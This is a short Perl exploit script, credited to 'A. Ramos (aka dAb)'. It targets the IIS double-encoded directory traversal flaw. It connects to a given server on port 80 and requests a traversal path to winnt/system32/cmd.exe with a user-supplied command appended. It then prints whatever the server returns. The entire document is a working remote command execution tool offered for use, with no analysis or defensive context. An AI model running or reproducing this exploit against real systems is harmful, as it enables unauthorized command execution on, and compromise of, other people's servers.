#!/usr/bin/perl
# A. Ramos (aka dAb)
# 

use IO::Socket;

unless ($ARGV[0]) { print "$0 <server> <command> [get]\n"; exit(1); }

$server=$ARGV[0];
$command=$ARGV[1];
$command =~ s/\s/\+/g;
#$command =~ s/(\W)/sprintf("%%%x", ord($1))/eg;

$ARGV[2]="GET /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+" unless $ARGV[2];

	$socket	= IO::Socket::INET->new(PeerAddr => $server,
					PeerPort => 80,
					Proto	 => "tcp",
					Type	 => SOCK_STREAM)
		or die "can't connect to: $server : $@\n";

   print $socket $ARGV[2].$command." HTTP/1.0\n\n\n\n";

	while(<$socket>) {
	print;
	}
	close($socket);
